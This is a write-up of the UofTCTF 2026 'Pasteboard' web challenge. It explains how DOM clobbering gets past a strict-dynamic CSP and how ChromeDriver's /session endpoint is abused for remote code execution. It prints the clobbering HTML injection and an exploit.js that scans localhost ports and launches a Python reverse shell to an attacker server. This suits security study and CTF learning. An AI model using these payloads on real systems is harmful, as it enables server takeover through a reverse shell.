UofTCTF 2026 - Pasteboard Writeup - ⸜(。˃ ᵕ ˂ )⸝⚑

estse.github.io · bugbountydaily · 1 month ago · vulnerability
0 net
UofTCTF 2026 - Pasteboard Writeup - ⸜(。˃ ᵕ ˂ )⸝⚑ and some other elements idk why --> ⸜(。˃ ᵕ ˂ )⸝⚑ Home Archive About --> Home Archive About esTse CTF player, Web Security Categories Bug Bounty 1 CTF Writeups 1 Tags AWS Client-side DOM Clobbering Headless Browser SSRF Web 870 words 4 minutes UofTCTF 2026 - Pasteboard Writeup 2026-01-16 CTF Writeups / Web / Client-side / DOM Clobbering / Headless Browser --> --> This is my first ever writeup! I played UofTCTF 2026 with team Project Sekai , and we finished in 2nd place 🥈 overall. I solved this challenge alongside Beluga , and we were the second team to solve it. By the end of the CTF, it had 33/1736 solves. You can find the challenge source code in the UofTCTF Github . Overview # The challenge features a notes website where we can create notes and send them to an admin bot for review. Reading the bot’s code, we see that the flag is stored in a global variable FLAG , and no session cookies are used. So we need to find a way to access this variable’s value, leak the bot’s source code, or achieve RCE. bot.py: 1 import time 2 3 from selenium import webdriver 4 from selenium.webdriver.chrome.options import Options 5 6 BASE_URL = "http://127.0.0.1:5000" 7 FLAG = "uoftctf {fake_flag} " 8 9 def visit_url (target_url): 10 options = Options() 11 options.add_argument( "--headless=true" ) 12 options.add_argument( "--disable-gpu" ) 13 options.add_argument( "--no-sandbox" ) 14 driver = webdriver.Chrome( options = options) 15 try : 16 driver.get(target_url) 17 time.sleep( 30 ) 18 finally : 19 driver.quit() The view that renders our notes, it appears our input is reflected in two places, one of them insecurely as it uses safe . view.html: 1 2 < html lang = "en" > 3 < head > 4 < meta charset = "utf-8" /> 5 < meta name = "viewport" content = "width=device-width, initial-scale=1" /> 6 < title >View Note 7 < link rel = "stylesheet" href = "/static/style.css" /> 8 9 < body > 10 < main > 11 < header class = "row" > 12 < div > 13 < h1 >Note 14 < p class = "meta" >Note: {{ note.title }} 15 16 < a class = "button ghost" href = "/" >Back 17 18 < div id = "injected" >{{ msg|safe }} 19 < template id = "rawMsg" >{{ msg|e }} 20 < div id = "card" data-mode = "safe" > 21 < script id = "errorReporterScript" > 22 23 < script nonce = "{{ nonce }}" src = "/static/dompurify.min.js" > 24 < script nonce = "{{ nonce }}" src = "/static/app.js" > 25 26 We also observe that two scripts are loaded: dompurify.js and app.js . app.js: 1 ( function () { 2 const n = document. getElementById ( "rawMsg" ); 3 const raw = n ? n.textContent : "" ; 4 const card = document. getElementById ( "card" ); 5 6 try { 7 const cfg = window.renderConfig || { mode: (card && card.dataset.mode) || "safe" }; 8 const mode = cfg.mode. toLowerCase (); 9 const clean = DOMPurify. sanitize (raw, { ALLOW_DATA_ATTR: false }); 10 if (card) { 11 card.innerHTML = clean; 12 } 13 if (mode !== "safe" ) { 14 console. log ( "Render mode:" , mode); 15 } 16 } catch (err) { 17 window.lastRenderError = err ? String (err) : "unknown" ; 18 handleError (); 19 } 20 21 function handleError () { 22 const el = document. getElementById ( "errorReporterScript" ); 23 if (el && el.src) { 24 return ; 25 } 26 27 const c = window.errorReporter || { path: "/telemetry/error-reporter.js" }; 28 const p = c.path && c.path.value 29 ? c.path.value 30 : String (c.path || "/telemetry/error-reporter.js" ); 31 const s = document. createElement ( "script" ); 32 s.id = "errorReporterScript" ; 33 let src = p; 34 try { 35 src = new URL (p).href; 36 } catch (err) { 37 src = p. startsWith ( "/" ) ? p : "/telemetry/" + p; 38 } 39 s.src = src; 40 41 if (el) { 42 el. replaceWith (s); 43 } else { 44 document.head. appendChild (s); 45 } 46 } 47 })(); The script goal is to sanitize user input using DOMPurify. However, it only sanitizes the div with id rawMsg . Recall that our input is also inserted into the div with id injected , which is not affected by this sanitization. Unfortunately as soon as we start testing, we encounter execution blocks due to CSP violations. Content Security Policy : 1 default-src 'self'; base-uri 'none'; object-src 'none'; img-src 'self' data:; style-src 'self'; connect-src *; script-src 'nonce-rokhbv2TzXL8wGwuKKPSKw' 'strict-dynamic' NOTE The 'strict-dynamic' source expression specifies that the trust explicitly given to a script present in the markup, by accompanying it with a nonce or a hash, shall be propagated to all the scripts loaded by that root script. Solution # Knowing this, we must find a way for our script to originate from one of the existing trusted scripts. If we carefully analyze app.js , we can see how the handleError() function inserts a script, constructing it from an object c that is vulnerable to DOM Clobbering (line 27). This function executes within the catch block but fortunately, we can trigger an error via a second DOM Clobbering in the definition of the cfg variable (line 7), since our Object will not have a mode property, causing an error when toLowerCase() method is called (line 8). So we can clobber it with the following html injection on a note. 1 < a id = "renderConfig" > 2 < form id = "errorReporter" > 3 < input name = "path" value = "https://malicious_server/exploit.js" > 4 At this point, we have achieved executable JS code injection. But now what? How on earth do we extract the FLAG via JS? I explored several paths involving iframes and local file access, hoping that an automated environment might have exposed interfaces or weakened configurations… And it turns out it did! The vulnerability wasn’t in the browser’s sandbox itself, but in the WebDriver orchestration. To automate the session, the system was running ChromeDriver, which by default listens on a random port (32768-60999). Specifically, the /session endpoint allows us to specify the binary and arguments for the “browser”. In this case, instead of a browser, we will point it to the Python interpreter binary and pass a reverse shell as arguments achieving RCE! exploit.js: 1 y = 32768 2 data = { 3 "capabilities" : { 4 "alwaysMatch" : { 5 "goog:chromeOptions" : { 6 "binary" : "/usr/local/bin/python" , 7 "args" : [ "-c" , "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('malicious_server',malicious_port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn('sh')" ] 8 } 9 } 10 } 11 } 12 13 while (y != 60999 ) { 14 fetch ( `http://localhost:${ y }/session` , { 15 method: 'POST' , 16 mode: 'no-cors' , 17 headers: { 18 'Content-type' : 'application/json' 19 }, 20 body: JSON . stringify (data) 21 }) 22 y ++ 23 } The attack flow can be visualized as follows: sequenceDiagram participant Attacker participant Server participant Bot participant Chromedriver Attacker->>Server: Create Malicious Note Attacker->>Bot: Report Note URL Bot->>Server: Visit Note URL Server-->>Bot: Return Page Bot->>Bot: app.js crashes Bot->>Bot: handleError ( ) executes Bot->>Bot: Load malicious script Bot->>Chromedriver: exploit.js /session request Chromedriver-->>Attacker: RCE Reverse Shell By chaining these vulnerabilities, we successfully bypass the CSP and turn a client-side injection into full Remote Code Execution on the server infrastructure. I hope you enjoyed reading this post and see you in the next CTF! References # https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model https://developer.mozilla.org/en-US/docs/Web/API/HTML_DOM_API https://html.spec.whatwg.org/#naming-form-controls:-the-name-attribute https://aszx87410.github.io/beyond-xss/en/ch3/dom-clobbering/ https://portswigger.net/web-security/dom-based https://portswigger.net/research/dom-clobbering-strikes-back https://www.fastmail.com/blog/sanitising-html-the-dom-clobbering-issue/ https://domclob.xyz/domc_wiki/ https://splitline.github.io/DOM-Clobber3r/ https://book.jorianwoltjer.com/web/client-side/headless-browsers#chromedriver https://issuetracker.google.com/issues/40052697 Compromising a NASDAQ Financial Giant --> --> © 2026 esTse. All Rights Reserved. / RSS / Sitemap Powered by Astro & Fuwari --> --> © 2026 esTse. All Rights Reserved. / RSS / Sitemap Powered by Astro & Fuwari 1 Overview 2 Solution 3 References